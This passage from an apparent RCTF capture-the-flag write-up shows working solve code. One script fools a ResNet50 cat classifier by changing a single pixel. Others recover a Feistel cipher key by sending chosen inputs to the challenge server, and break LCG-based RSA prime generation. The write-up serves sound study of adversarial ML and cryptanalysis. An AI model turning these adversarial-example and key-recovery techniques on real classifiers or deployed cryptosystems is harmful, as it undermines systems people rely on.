inference transforms preprocess = weights.transforms() # Step 3: Apply inference preprocessing transforms batch = preprocess(img).unsqueeze(0) # Step 4: Use the model and print the predicted category prediction = model(batch).squeeze(0).softmax(0) class_id = prediction.argmax().item() score = prediction[class_id].item() category_name = weights.meta["categories"][class_id] return category_name,score app = Flask(__name__) @app.route('/', methods=['POST', 'GET']) def welcome(): return render_template("index.html") @app.route('/upload', methods=['POST', 'GET']) def upload(): if request.method == 'POST': f = request.files['file'] im = Image.open(f) if checkImg(im) == 0: return render_template('upload.html', error="image format error! the image size must be 60 x 60 and you can only change o ne pixel!") category_name,score = divide(im) if category_name == 'tabby' or "cat" in category_name: return render_template('upload.html', res=category_name + " " + str(score)) else: return render_template('upload.html', flag=flag) return render_template('upload.html',error='please start attack!') if __name__ == '__main__': app.run(host='0.0.0.0', port=5000) ``` The interesting information is that we have the exact model, a pretrained resnet50 and that the input image is scaled to fit the input. While the challenge was online the first time, I started implementing [https://arxiv.org/abs/1710.08864](https://arxiv.org/abs/1710.08864) using differential evolution. When the source model was released, I was about to implement a gradient descent based technique with is complicated by the fact that the image is scaled, but as one does, I also wrote a scrap brute force script to run in the background. The brute force script sets every pixel to light yellow and keeps the three positions with the minimal probability for the cat classes. Shortly after I saw that (31, 8) had a pretty low confidence that there is a cat in the image. Therefore, I set this pixel to random colors I did this in the hope of getting a good initialization for one of the other approaches. ```python import cv2 from torchvision.models import resnet50, ResNet50_Weights from PIL import Image import random weights = ResNet50_Weights.DEFAULT model = resnet50(weights=weights) model.eval() preprocess = weights.transforms() mins = [1, 1, 1] for _ in range(200): image = cv2.imread("../start.png") rand = [random.randint(0, 255) for _ in range(3)] image[8, 31] = rand cv2.imwrite("tmp.png", image) im = Image.open("tmp.png") x = preprocess(im).unsqueeze(0) prediction = model(x).squeeze(0).softmax(0) class_id = prediction.argmax().item() score = prediction[class_id].item() category_name = weights.meta["categories"][class_id] if (category_name == 'tabby' or "cat" in category_name): if score < max(mins): mins[2] = score mins.sort() print(score, category_name, rand) else: print(score, category_name, rand) im.save("flag.png") exit(0) ``` ``` 0.06965108215808868 Persian cat [152, 4, 74] 0.11947732418775558 Persian cat [216, 171, 197] 0.09187310189008713 Persian cat [152, 131, 90] 0.09048645198345184 Siamese cat [151, 201, 84] 0.08846026659011841 Persian cat [90, 86, 54] 0.07620721310377121 Siamese cat [236, 160, 22] 0.07194068282842636 Persian cat [161, 8, 79] 0.07035525888204575 goldfish [164, 27, 23] ``` However, after about a second, it yielded a change to goldfish. Here is how a goldfish looks like: ![](https://i.imgur.com/hUwJjvY.png) Uploading it in a moment of uptime returns the flag: RCTF{goodgoodstudy_daydayup} ## Crypto ### Derek After a quick look at the code we see we are dealing with a feistel network with a lot of rounds. Next we notice the round function is using aes with a random key we don't know much about, so it is unlikely we break that part. What we can do however is make sure the following ends up in `t=0`: ```python= t = aes(int(t.hex(), 16), self.keys[i]) & 0xffffffffffffffff t ^= aes(0xdeadbeefbaadf00d if i % 2 else 0xbaadf00ddeadbeef, self.keys[i]) & 0xffffffffffffffff ``` This would mean we need to give it something that will equal the constant values we see here after the loop including some magic. Since we are too lazy to actually reverse what that loop does, we first tried if we can brute it, and it turns out a byte by byte brute force works. ```python= def magic(l): magic = c_uint64(0xffffffffffffffff) for m in bytes([int(bin(byte)[2::].zfill(8)[8::-1], 2) for byte in l.to_bytes(8, 'big')]): magic.value ^= c_uint64(m << 56).value # print(hex(magic.value)[2:].zfill(16)) for j in range(8): if magic.value & 0x8000000000000000 != 0: magic.value = magic.value << 1 ^ 0x1b else: magic.value = magic.value << 1 # print(hex(magic.value)[2:].zfill(16)) magic.value ^= 0xffffffffffffffff t = bytes([int(bin(byte)[2::].zfill(8)[8::-1], 2) for byte in bytes(magic)]) return t t = "baadf00ddeadbeef" # 0x383972b703bd8d98 t = "deadbeefbaadf00d" # 0xd80be0534925b5d6 known = [[]] for i in range(8): new = [] for K in known: N = 0 for n in K: N = (N << 8) + n for n in range(256): num = (N << 8*(8-i)) + (n << 8*(7-i)) if magic(num).hex()[-2*i-1:] == t[-2*i-1:]: new.append(K + [n]) known = new for K in known: N = 0 for n in K: N = (N << 8) + n if magic(N).hex() == t: print(hex(N)) ``` With this we have the inputs that will make the feistel network just swap l,r over and over, instead of actually encrypting them. After the last round they are then xor-ed with the key, and so by encrypting this known plaintext we can recover the key and decrypt the flag. ```python= from Crypto.Util.number import * from ctypes import c_uint64 from util import aes, nsplit from Crypto.Util.Padding import unpad from Derek import Derek from pwn import * class DecryptingDerek(Derek): def enc_block(self, x: int) -> int: x_bin = bin(x)[2:].rjust(128, '0') l, r = int(x_bin[:64], 2), int(x_bin[64:], 2) for i in range(self.rnd): magic = c_uint64(0xffffffffffffffff) for m in bytes([int(bin(byte)[2::].zfill(8)[8::-1], 2) for byte in l.to_bytes(8, 'big')]): magic.value ^= c_uint64(m << 56).value for j in range(8): if magic.value & 0x8000000000000000 != 0: magic.value = magic.value << 1 ^ 0x1b else: magic.value = magic.value << 1 magic.value ^= 0xffffffffffffffff t = bytes([int(bin(byte)[2::].zfill(8)[8::-1], 2) for byte in bytes(magic)]) t = aes(int(t.hex(), 16), self.keys[i]) & 0xffffffffffffffff t ^= aes(0xdeadbeefbaadf00d if i % 2 else 0xbaadf00ddeadbeef, self.keys[i]) & 0xffffffffffffffff l, r = r ^ t, l l ^= int.from_bytes(self.key[:8], 'big') r ^= int.from_bytes(self.key[8:], 'big') l, r = r, l y = (l + (r << 64)) & 0xffffffffffffffffffffffffffffffff return y def dec_block(self, y: int) -> int: U64_MAX = (1 <<64)-1 r = (y >> 64) & U64_MAX l = y & U64_MAX l, r = r, l l ^= int.from_bytes(self.key[:8], 'big') r ^= int.from_bytes(self.key[8:], 'big') for i in reversed(range(self.rnd)): l, r = r, l magic = c_uint64(0xffffffffffffffff) for m in bytes([int(bin(byte)[2::].zfill(8)[8::-1], 2) for byte in l.to_bytes(8, 'big')]): magic.value ^= c_uint64(m << 56).value for j in range(8): if magic.value & 0x8000000000000000 != 0: magic.value = magic.value << 1 ^ 0x1b else: magic.value = magic.value << 1 magic.value ^= 0xffffffffffffffff t = bytes([int(bin(byte)[2::].zfill(8)[8::-1], 2) for byte in bytes(magic)]) t = aes(int(t.hex(), 16), self.keys[i]) & 0xffffffffffffffff t ^= aes(0xdeadbeefbaadf00d if i % 2 else 0xbaadf00ddeadbeef, self.keys[i]) & 0xffffffffffffffff r ^= t x = l << 64 | r return x def decrypt(self, text: bytes) -> bytes: text_blocks = nsplit(text, 16) result = b'' for block in text_blocks: block = int.from_bytes(block, 'big') result += self.dec_block(block).to_bytes(16, 'big') return unpad(result, 16) a = 0x383972b703bd8d98 b = 0xd80be0534925b5d6 n = (a << 64) + b io = remote("94.74.90.243", 42000) io.sendlineafter(b"> ", b"E") io.sendlineafter(b"> ", hex(n)[2:].encode()) ct = unhex(io.recvline())[:16] key = xor(long_to_bytes(n), ct) D = DecryptingDerek(key, rnd=42) io.sendlineafter(b"> ", b"G") fct = unhex(io.recvline()) print(D.decrypt(fct)) ``` `RCTF{3asy_backd0or_wiTh_CRC_r3ver3s1ng}` ### IS_THIS_LCG Looking at the code we see the code generates 3 random primes each with a different RNG, then another safe prime, than encrypts with this multiprime RSA. So we have to recover each factor to decrypt. #### Part 1 We have a truncated output LCG, standard stuff we have done before, but we just copied the solve from some old repo, so we don't actually have to implement stuff. https://github.com/jvdsn/crypto-attacks/blob/master/attacks/lcg/truncated_state_recovery.py #### Part 2 For this part we have some LCG looking thing over a random elliptic curve, and we need to find the prime this curve is over, only given some x coordinates. With some pen and paper magic we got some equations that let us do that and then compute p. In short: Taking linear combinations of points, we deduce a set of polynomial equations by working with the formula for point addition on elliptic curves. Given enough equations, we can remove all unknowns to be left with an integer which will be a multiple of p. We can recover the prime p by taking the gcd with the modulus n. You can find a more detailed explanation here: https://hackmd.io/@jack4818/SJjuNt4di ```python= R.<A, B> = ZZ[] def ysqr(x): return x^3 + A*x + B def f(x1, x2, x3): """ λ_22^2 - 2x2 + x1 + x3)(x3 - x1)^2 - y1^2 - y3^2 = -2y1y3 """ l22sqr = (3*x2^2 + A)^2 / (4*ysqr(x2)) lhs = l22sqr - 2*x2 + x1 + x3 lhs *= (x3 - x1)^2 lhs -= (ysqr(x1) + ysqr(x3)) return lhs def g(x1, x3, minus_2y1y3): """ P1 - P3 """ return ((ysqr(x3) - minus_2y1y3 + ysqr(x1)) / (x3 - x1)^2) - x1 - x3 def h(x1, x2, x3, x4, minus_2y1y3, minus_2y2y4): P1P3 = g(x1, x3, minus_2y1y3) P2P4 = g(x2, x4, minus_2y2y4) return P1P3 - P2P4 def gen_poly(x1, x2, x3, x4): minus_2y1y3 = f(x1, x2, x3) minus_2y2y4 = f(x2, x3, x4) return h(x1, x2, x3, x4, minus_2y1y3, minus_2y2y4) def gen_poly_numerator(x1, x2, x3, x4): p = gen_poly(x1, x2, x3, x4) return p.numerator() from sage.matrix.matrix2 import Matrix def resultant(f1, f2, var): return Matrix.determinant(f1.sylvester_matrix(f2, var)) def get_multiple(x1, x2, x3, x4, x5, x6): p1 = gen_poly_numerator(x1, x2, x3, x4) p2 = gen_poly_numerator(x2, x3, x4, x5) p3 = gen_poly_numerator(x3, x4, x5, x6) remove_b1 = resultant(p1, p2, B) remove_b2 = resultant(p1, p3, B) remove_a = resultant(remove_b1, remove_b2, A) return remove_a kp1 = get_multiple(x1, x2, x3, x4, x5, x6) print(gcd(kp1, N)) ``` #### Part 3 We are given a kind of LCG, but instead done over matrices. Since we have a lot of outputs, and the matrices are not very big, we can solve this by just making A and B symbolic to get a system of equations and solve for A,B. Then we get a close formula to get $X_i = A^iX_0 + (A^i - I)/(A - I)*B$ and use that to compute the output we want. ```python= n, m = 8, next_prime(2^16) def mt2dec(X): x = 0 for i in range(n): for j in range(n): x = x + int(X[i, j]) * (m ** (i * n + j)) return x def dec2mt(x): X = matrix(GF(m), n, n) for i in range(n): for j in range(n): X[i,j] = x % m x = x // m return X P = PolynomialRing(GF(m), 128, "x") g = P.gens() A = matrix(P, [[g[i + 8*j] for i in range(8)] for j in range(8)]) B = matrix(P, [[g[i + 8*j + 64] for i in range(8)] for j in range(8)]) eqs = [] res = [] def add_eqs(eqs, X0, X1): E = A*dec2mt(X0) + B R = dec2mt(X1) for i in range(8): for j in range(8): eqs.append(E[i,j]) res.append(R[i,j]) add_eqs(eqs, X0, X1) add_eqs(eqs, X1, X2) add_eqs(eqs, X2, X3) add_eqs(eqs, X3, X4) add_eqs(eqs, X4, X5) add_eqs(eqs, X5, X6) add_eqs(eqs, X6, X7) add_eqs(eqs, X7, X8) add_eqs(eqs, X8, X9) mat = [] for eq in eqs: mat.append([eq.coefficient(g[i]) for i in range(128)]) vec = vector(GF(m), res) mat = matrix(GF(m), mat) ab = mat \ vec A = matrix(GF(m), [[ab[i + 8*j] for i in range(8)] for j in range(8)]) B = matrix(GF(m), [[ab[i + 8*j + 64] for i in range(8)] for j in range(8)]) X = dec2mt(X0) I = identity_matrix(GF(m), 8) AA = A^(1337**1337) BB = (AA - I)/(A - I)*B Y = AA*X + BB p3 = next_prime(mt2dec(Y)) ``` Now all that is left is to decrypt the flag. ```python= q = N // p1 // p2 // p3 e = 0x10001 phi = (p1-1)*(p2-1)*(p3-1)*(q-1) d = pow(e, -1, phi) m = pow(c, d, N) print(long_to_bytes(int(m))) ``` `RCTF{Wo0oOoo0Oo0W_LCG_masT3r}`